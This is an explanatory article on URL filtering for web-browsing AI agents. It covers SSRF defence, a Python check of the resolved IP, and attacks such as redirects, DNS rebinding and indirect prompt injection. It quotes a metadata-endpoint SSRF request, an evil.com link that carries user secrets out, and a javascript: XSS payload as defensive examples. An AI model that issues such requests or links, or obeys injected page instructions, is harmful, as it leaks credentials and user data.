URL Filtering
Controlling Model Web Access and Validating External Links in GenAI Workflows
What is URL Filtering?
URL Filtering is a crucial security and operational mechanism applied to generative AI models that are capable of browsing the web, calling external webhooks, or processing user-supplied links. It involves restricting the domains, paths, and IPs that an AI agent is permitted to resolve or interact with.
💡 Key Innovation: Modern GenAI URL filtering prevents Server-Side Request Forgery (SSRF) and Prompt Poisoning by resolving and validating links dynamically before the AI model actually issues the HTTP request.
Allowing only known-good domains
Blocking known malicious or NSFW sites
Blocking internal IP addresses
Removing tracking parameters from generated links
Architecture: The Intercept Pattern
When an AI application uses "Web Search" (like ChatGPT with web browsing) or receives a URL in a prompt (like document parsing), the actual HTTP fetching is executed by a backend worker, not the LLM itself. URL filtering sits exactly at this boundary.
1. The Prompt Request
User asks: "Summarize the article at https://example.com/login".
The LLM determines it needs the content of the URL and emits a tool call.
2. Middleware Inspection
The orchestrator catches the LLM's tool call. It runs the URL against regex rules, IP resolution, and Threat Intelligence APIs.
3. Fetch or Block
If safe, the server fetches the HTML, strips scripts, and returns plain text to the LLM. If blocked, an error is injected back into the LLM context.
Technical Mechanisms & SSRF Prevention
A naïve implementation might just use a simple regex matching `https://*`. However, attackers can bypass simple rules using IP encodings, redirects, or DNS rebinding.
Protecting the Internal Network (Anti-SSRF)
If an LLM runs in an AWS environment, a user could ask: "Fetch the contents of http://169.254.169.254/latest/meta-data". If the URL filter doesn't block local subnets, the internal cloud credentials will be passed directly into the AI's window and returned to the attacker.
A robust URL filter implementation must check the resolved IP:
import socket, ipaddress
from urllib.parse import urlparse
def is_safe_url(url):
try:
hostname = urlparse(url).hostname
ip_addr = socket.gethostbyname(hostname)
ip = ipaddress.ip_address(ip_addr)
# Block internal network ranges entirely
if ip.is_private or ip.is_loopback or ip.is_link_local:
return False
return True
except Exception:
return False # Fail closed
Comparison: Filtering Approaches
| Aspect | Strict Whitelisting | Dynamic Blacklisting |
|---|---|---|
| Use Case | Enterprise internal Q&A bots, Docs assistants | General purpose web research agents |
| Security Posture | Zero Trust / High Security | Permissive / Moderate Risk |
| Maintenance | High (updating trusted domains) | Low (handled via API like Google Safe Browsing) |
| UX Impact | Restricts answering outside exact domain list | Flexible, provides broad answers |
Challenges and Advanced Attacks
⚠️ Challenge: Indirect Prompt Injection via URL. Even if a URL is valid and points to a safe domain (like a public GitHub Gist or Wikipedia page), the content of the page might contain adversarial instructions telling the LLM to ignore the user and leak its system prompt.
This requires mitigating specific attack vectors:
- Redirection Loops: Initial checks pass for `safe.com`, but the server HTTP 301 redirects the scraper into `internal-network.local`.
- DNS Rebinding: Changing the DNS resolution of a domain to a local IP address *after* the initial security check passes but *before* the content is fetched.
- Data Exfiltration in Output Links: The LLM generating markdown URLs that encode sensitive data in query parameters (e.g., `[click here](https://evil.com/log?data=user_secret)`).
Implementing Output Link Validation
Besides filtering what the AI fetches, it's vital to filter the URLs the AI *presents* to the user to prevent phishing and cross-site scripting (XSS).
🔄 Schema Validation
Strictly enforce that links returned by the LLM only use `http://` or `https://`. Malicious payloads often trick the LLM into generating `javascript:alert('XSS')` or `data:` URIs.
🔄 Proxy Viewers
Instead of linking users directly to an AI-discovered source, modern tools route the user through a sandboxed cached proxy or provide a text-only summary.
Applications
Autonomous Web Search
Document Q&A Scraping
Enterprise Slack Bots